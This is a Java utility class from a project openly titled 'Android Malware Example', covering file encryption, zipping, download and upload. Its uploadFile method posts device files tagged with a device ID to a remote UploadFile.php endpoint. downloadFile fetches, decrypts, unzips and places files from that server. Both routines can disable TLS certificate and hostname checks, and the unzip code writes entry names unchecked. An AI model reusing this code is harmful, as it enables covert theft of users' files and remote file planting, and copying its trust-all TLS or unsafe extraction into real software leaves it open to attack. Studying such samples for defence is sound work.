/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.net.Uri;
import android.util.Log;
import android.widget.Toast;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.channels.FileChannel;
import java.security.KeyStore;
import java.security.SecureRandom;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;

import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;

import static android.R.attr.key;
import static android.R.attr.path;

/**
 * Created by darrylb on 10/4/16.
 */
public class FileUtils {

    Context context;
    ConfigParams configParams;
    BGMPrefs bgmPrefs;

    public FileUtils( Context _context){
        context = _context;
        bgmPrefs = new BGMPrefs(context);
        configParams = bgmPrefs.getConfigParams();
    }

    public void EncryptFile(String ifile){
        EncryptFile(ifile,configParams.LocalEncryptionKey);
    }
    public void  EncryptFile(String ifile,String EncKey){
        EncryptFile(configParams.StoragePath+ "/", ifile, EncKey);
    }

    public void EncryptFile(String path,String ifile,String key){
        BGMEncryption _encrypt = new BGMEncryption();
        try {
            _encrypt.encryptfile(key, path + ifile, path + ifile+".enc");
        } catch (Exception ex) {
            Log.d(configParams.PROGID,"Unable to encrypt file Key:["+configParams.LocalEncryptionKey+"] InFile:["+path + ifile+"] OutFile:["+ path + ifile+".enc]:"+ex.toString());
        }
    }

    public void DecryptFile(String ifile){
        DecryptFile(ifile,configParams.LocalEncryptionKey);
    }
    public void  DecryptFile(String ifile,String EncKey){
        DecryptFile(configParams.StoragePath+ "/", ifile, EncKey);
    }
    public void DecryptFile(String path,String ifile,String key){
        if (configParams.Logging) Log.d(configParams.PROGID,"decrypting file Path ["+path+"] file ["+ifile+".enc] Key:["+key+"]" );
        BGMEncryption _encrypt = new BGMEncryption();
        try {
            _encrypt.decryptfile(key, path+ ifile+".enc", path + ifile);
        } catch (Exception ex) {

            if (configParams.Logging) Log.d(configParams.PROGID,"Unable to decrypt file:["+ex.toString()+"]");
        }
    }

    public void copy(String src, String dst)  {
        try {
            if (configParams.Logging) Log.d(configParams.PROGID,"Copying File ["+src+"] to ["+dst+"]" );
            FileInputStream inStream = new FileInputStream(new File(src));
            FileOutputStream outStream = new FileOutputStream(new File(dst));
            FileChannel inChannel = inStream.getChannel();
            FileChannel outChannel = outStream.getChannel();
            inChannel.transferTo(0, inChannel.size(), outChannel);
            inStream.close();
            outStream.close();
        } catch (Exception ex) {
            if (configParams.Logging) Log.d(configParams.PROGID,"Unable to copy ["+src+"] to ["+dst+"]" );
        }
    }

    public boolean CompressFile(String ifile, String ofile){

            final int BUFFER = 2048;
            if (configParams.Logging) Log.d(configParams.PROGID,"Compressing file: ["+ifile+"] -> ["+ofile+"]");
            File sourceFile = new File(configParams.StoragePath+"/"+ifile);
            try {
                BufferedInputStream origin = null;
                FileOutputStream dest = new FileOutputStream(configParams.StoragePath+"/"+ofile);
                ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(
                        dest));
                if (sourceFile.isDirectory()) {
                    zipSubFolder(out, sourceFile, sourceFile.getParent().length());
                } else {
                    byte data[] = new byte[BUFFER];
                    FileInputStream fi = new FileInputStream(configParams.StoragePath+"/"+ifile);
                    origin = new BufferedInputStream(fi, BUFFER);
                    ZipEntry entry = new ZipEntry(getLastPathComponent(configParams.StoragePath+"/"+ifile));
                    out.putNextEntry(entry);
                    int count;
                    while ((count = origin.read(data, 0, BUFFER)) != -1) {
                        out.write(data, 0, count);
                    }
                }
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }
            return true;
        }

    public String InflateFile(String path, String zipname){
        if (configParams.Logging) Log.d(configParams.PROGID,"Inflating File:["+path + zipname+"]");
            String response ="";
            InputStream is;
            ZipInputStream zis;
            try {
                String filename;
                is = new FileInputStream(path + zipname);
                zis = new ZipInputStream(new BufferedInputStream(is));
                ZipEntry mZipEntry;
                byte[] buffer = new byte[1024];
                int count;

                while ((mZipEntry = zis.getNextEntry()) != null) {
                    // zapis do souboru
                    filename = mZipEntry.getName();

                    if (configParams.Logging) Log.d(configParams.PROGID,"zip File:["+filename+"]");
                    if (response.length()==0)
                            response=filename;
                    else
                            response="Multiple";
                    // Need to create directories if not exists, or
                    // it will generate an Exception...
                    if (mZipEntry.isDirectory()) {
                        File fmd = new File(path + filename);
                        fmd.mkdirs();
                        continue;
                    }

                    FileOutputStream fout = new FileOutputStream(path + filename);

                    // cteni zipu a zapis
                    while ((count = zis.read(buffer)) != -1) {
                        fout.write(buffer, 0, count);
                    }

                    fout.close();
                    zis.closeEntry();
                    if (configParams.Logging) Log.d(configParams.PROGID,"Inflating file: ["+zipname+"] Success");
                }

                zis.close();
            } catch (IOException e) {
                e.printStackTrace();
                return response;
            }

            return response;
        }



    public String getLastPathComponent(String filePath) {
        String[] segments = filePath.split("/");
        if (segments.length == 0)
            return "";
        String lastPathComponent = segments[segments.length - 1];
        return lastPathComponent;
    }

    private void zipSubFolder(ZipOutputStream out, File folder,int basePathLength) throws IOException {

        final int BUFFER = 2048;

        File[] fileList = folder.listFiles();
        BufferedInputStream origin = null;
        for (File file : fileList) {
            if (file.isDirectory()) {
                zipSubFolder(out, file, basePathLength);
            } else {
                byte data[] = new byte[BUFFER];
                String unmodifiedFilePath = file.getPath();
                String relativePath = unmodifiedFilePath
                        .substring(basePathLength);
                FileInputStream fi = new FileInputStream(unmodifiedFilePath);
                origin = new BufferedInputStream(fi, BUFFER);
                ZipEntry entry = new ZipEntry(relativePath);
                out.putNextEntry(entry);
                int count;
                while ((count = origin.read(data, 0, BUFFER)) != -1) {
                    out.write(data, 0, count);
                }
                origin.close();
            }
        }
    }



    public int downloadFile(String url, String filedestination, String EncKey ) {

        if(configParams.Logging) Log.d(configParams.PROGID,"Download File:["+url+"]");

        final int BUFFER_SIZE = 4096;

       int serverResponseCode = 0;
        String saveFilePath="";
        String saveFile="";

        HttpURLConnection connection;
        DataOutputStream dataOutputStream;

            try{

                URL fileurl = new URL(url);

                if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){
                    //create code to trust a self signed cert
                    // Note you need the pem file to be in the App config to trust it

                    Uri.Builder builder = new Uri.Builder()
                            .appendQueryParameter("DeviceID", configParams.UniqueID);
                    String query = builder.build().getEncodedQuery();

                    if (configParams.SelfSigned)
                        setUpHttpsConnection(query);



                }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){
//                    //trust all certs !!! Warning Dangerous
//
                    HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){
                        public boolean verify(String hostname, SSLSession session) {
                            return true;
                        }});
                    SSLContext context = SSLContext.getInstance("TLS");
                    context.init(null, new X509TrustManager[]{new X509TrustManager(){
                        public void checkClientTrusted(X509Certificate[] chain,
                                                       String authType) throws CertificateException {}
                        public void checkServerTrusted(X509Certificate[] chain,
                                                       String authType) throws CertificateException {}
                        public X509Certificate[] getAcceptedIssuers() {
                            return new X509Certificate[0];
                        }}}, new SecureRandom());
                    HttpsURLConnection.setDefaultSSLSocketFactory(
                            context.getSocketFactory());
//
                }
//
//
//
//
//
                connection = (HttpURLConnection) fileurl.openConnection();
                serverResponseCode = connection.getResponseCode();


                if (serverResponseCode == HttpURLConnection.HTTP_OK) {
                   // String fileName = "";
                    String disposition = connection.getHeaderField("Content-Disposition");
                    String contentType = connection.getContentType();
                    int contentLength = connection.getContentLength();

                    if (disposition != null) {
                        // extracts file name from header field
                        int index = disposition.indexOf("filename=");
                        if (index > 0) {
                            saveFile = disposition.substring(index + 10,
                                    disposition.length() - 1);
                        }
                    } else {
                        // extracts file name from URL
                        saveFile = url.substring(url.lastIndexOf("/") + 1,
                                url.length());
                    }

                    if(configParams.Logging) Log.d(configParams.PROGID,"Content-Type = " + contentType  );
                    if(configParams.Logging) Log.d(configParams.PROGID,"Content-Disposition = " + disposition);
                    if(configParams.Logging) Log.d(configParams.PROGID,"Content-Length = " + contentLength);
                    if(configParams.Logging) Log.d(configParams.PROGID,"fileName = " + saveFile);

                    // opens input stream from the HTTP connection
                    InputStream inputStream = connection.getInputStream();

                     saveFilePath = configParams.StoragePath + "/" + saveFile;
                    if(configParams.Logging) Log.d(configParams.PROGID,"File downloading to:["+saveFilePath+"]");


                    // opens an output stream to save into file
                    FileOutputStream outputStream = new FileOutputStream(saveFilePath);

                    int bytesRead = -1;
                    byte[] buffer = new byte[BUFFER_SIZE];
                    while ((bytesRead = inputStream.read(buffer)) != -1) {
                        outputStream.write(buffer, 0, bytesRead);
                    }

                    outputStream.close();
                    inputStream.close();

                    if(configParams.Logging) Log.d(configParams.PROGID,"File downloaded");
                } else {
                    if(configParams.Logging) Log.d(configParams.PROGID,"No file to download. Server replied HTTP code: " + serverResponseCode);
                }
                connection.disconnect();

            } catch (Exception e) {
                e.printStackTrace();
                Log.d(configParams.PROGID,"Error:"+e.toString());

            }
            // process file if successful

            if (serverResponseCode == 200 ){
                // decrypt if necessary then copy file



                if (EncKey.length() > 0 ) {

                    DecryptFile(saveFilePath.replace(saveFile,""),saveFile.replace(".enc",""),EncKey );

                    if (saveFilePath.replace(".enc","").endsWith(".zip")){
                        String _files = InflateFile(configParams.StoragePath.getPath()+"/",saveFile.replace(".enc",""));
                        if (_files.length()==0){
                            if (configParams.Logging)    Log.d(configParams.PROGID, "No files found in zip");
                        } else if (_files.equals("Multiple")){
                            if (configParams.Logging)    Log.d(configParams.PROGID, "Cannot copy multiple files in zip: Ignoring copy");
                        }else {
                            if (configParams.Logging)    Log.d(configParams.PROGID, "Copying file:["+_files+"] found in zip file");

                            copy( configParams.StoragePath+"/"+_files,filedestination);

                        }

                    } else {
                        copy( saveFilePath.replace(".enc",""),filedestination);

                    }


                }



            }
            return serverResponseCode;



    }
    public int uploadFile(final String selectedFilePath){

        if(configParams.Logging) Log.d(configParams.PROGID,"Sending File:["+selectedFilePath+"]");
        int serverResponseCode = 0;

        HttpURLConnection connection;
        DataOutputStream dataOutputStream;
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";


        int bytesRead,bytesAvailable,bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024;
        File selectedFile = new File(selectedFilePath);


        String[] parts = selectedFilePath.split("/");
        final String fileName = parts[parts.length-1];

        if (!selectedFile.isFile()){
            return 0;
        }else{
            try{
                FileInputStream fileInputStream = new FileInputStream(selectedFile);
                //URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + "UploadFile.php");
                URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + "UploadFile.php");



                if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){
                    //create code to trust a self signed cert
                    // Note you need the pem file to be in the App config to trust it

                    Uri.Builder builder = new Uri.Builder()
                            .appendQueryParameter("DeviceID", configParams.UniqueID);
                    String query = builder.build().getEncodedQuery();

                    if (configParams.SelfSigned)
                        setUpHttpsConnection(query);



                }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){
                    //trust all certs !!! Warning Dangerous

                    HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){
                        public boolean verify(String hostname, SSLSession session) {
                            return true;
                        }});
                    SSLContext context = SSLContext.getInstance("TLS");
                    context.init(null, new X509TrustManager[]{new X509TrustManager(){
                        public void checkClientTrusted(X509Certificate[] chain,
                                                       String authType) throws CertificateException {}
                        public void checkServerTrusted(X509Certificate[] chain,
                                                       String authType) throws CertificateException {}
                        public X509Certificate[] getAcceptedIssuers() {
                            return new X509Certificate[0];
                        }}}, new SecureRandom());
                    HttpsURLConnection.setDefaultSSLSocketFactory(
                            context.getSocketFactory());

                }





                connection = (HttpURLConnection) url.openConnection();
                connection.setDoInput(true);//Allow Inputs
                connection.setDoOutput(true);//Allow Outputs
                connection.setUseCaches(false);//Don't use a cached Copy
                connection.setRequestMethod("POST");
                connection.setRequestProperty("Connection", "Keep-Alive");
                connection.setRequestProperty("ENCTYPE", "multipart/form-data");
                connection.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary);
                connection.setRequestProperty("uploaded_file",selectedFilePath);
                connection.setRequestProperty("deviceid",configParams.UniqueID);


                //creating new dataoutputstream
                dataOutputStream = new DataOutputStream(connection.getOutputStream());

                //writing bytes to data outputstream
                dataOutputStream.writeBytes(twoHyphens + boundary + lineEnd);
                dataOutputStream.writeBytes("Content-Disposition: form-data; DDD=\"ddd\";name=\"uploaded_file\";filename=\""
                        + selectedFilePath + "\"" + lineEnd);

                dataOutputStream.writeBytes(lineEnd);

                //returns no. of bytes present in fileInputStream
                bytesAvailable = fileInputStream.available();
                //selecting the buffer size as minimum of available bytes or 1 MB
                bufferSize = Math.min(bytesAvailable,maxBufferSize);
                //setting the buffer as byte array of size of bufferSize
                buffer = new byte[bufferSize];

                //reads bytes from FileInputStream(from 0th index of buffer to buffersize)
                bytesRead = fileInputStream.read(buffer,0,bufferSize);

                //loop repeats till bytesRead = -1, i.e., no bytes are left to read
                while (bytesRead > 0){
                    //write the bytes read from inputstream
                    dataOutputStream.write(buffer,0,bufferSize);
                    bytesAvailable = fileInputStream.available();
                    bufferSize = Math.min(bytesAvailable,maxBufferSize);
                    bytesRead = fileInputStream.read(buffer,0,bufferSize);
                }

                dataOutputStream.writeBytes(lineEnd);
                dataOutputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);

                serverResponseCode = connection.getResponseCode();
                String serverResponseMessage = connection.getResponseMessage();

                if (configParams.Logging)    Log.d(configParams.PROGID, "Server Response is: " + serverResponseMessage + ": " + serverResponseCode);

                //response code of 200 indicates the server status OK

                //closing the input and output streams
                fileInputStream.close();
                dataOutputStream.flush();
                dataOutputStream.close();



            } catch (Exception e) {
                e.printStackTrace();
                Log.d(configParams.PROGID,"Error:"+e.toString());

            }

            return serverResponseCode;
        }

    }
    public  void setUpHttpsConnection(String urlString)
    {
        try
        {
            // Load CAs from an InputStream
            // (could be from a resource or ByteArrayInputStream or ...)
            CertificateFactory cf = CertificateFactory.getInstance("X.509");

            InputStream caInput = new BufferedInputStream(context.getAssets().open("server.crt"));
            Certificate ca = cf.generateCertificate(caInput);
            if (configParams.Logging)  Log.d(configParams.PROGID,"ca=" + ((X509Certificate) ca).getSubjectDN());

            // Create a KeyStore containing our trusted CAs
            String keyStoreType = KeyStore.getDefaultType();
            KeyStore keyStore = KeyStore.getInstance(keyStoreType);
            keyStore.load(null, null);
            keyStore.setCertificateEntry("ca", ca);

            // Create a TrustManager that trusts the CAs in our KeyStore
            String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
            TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
            tmf.init(keyStore);

            // Create an SSLContext that uses our TrustManager
            SSLContext context = SSLContext.getInstance("TLS");
            context.init(null, tmf.getTrustManagers(), null);


            // Tell the URLConnection to use a SocketFactory from our SSLContext

            HttpsURLConnection.setDefaultSSLSocketFactory(
                    context.getSocketFactory());

        }
        catch (Exception ex)
        {

            Log.d(configParams.PROGID,"NetworkHandler: Error creating own Trust Manager");
        }
    }

}
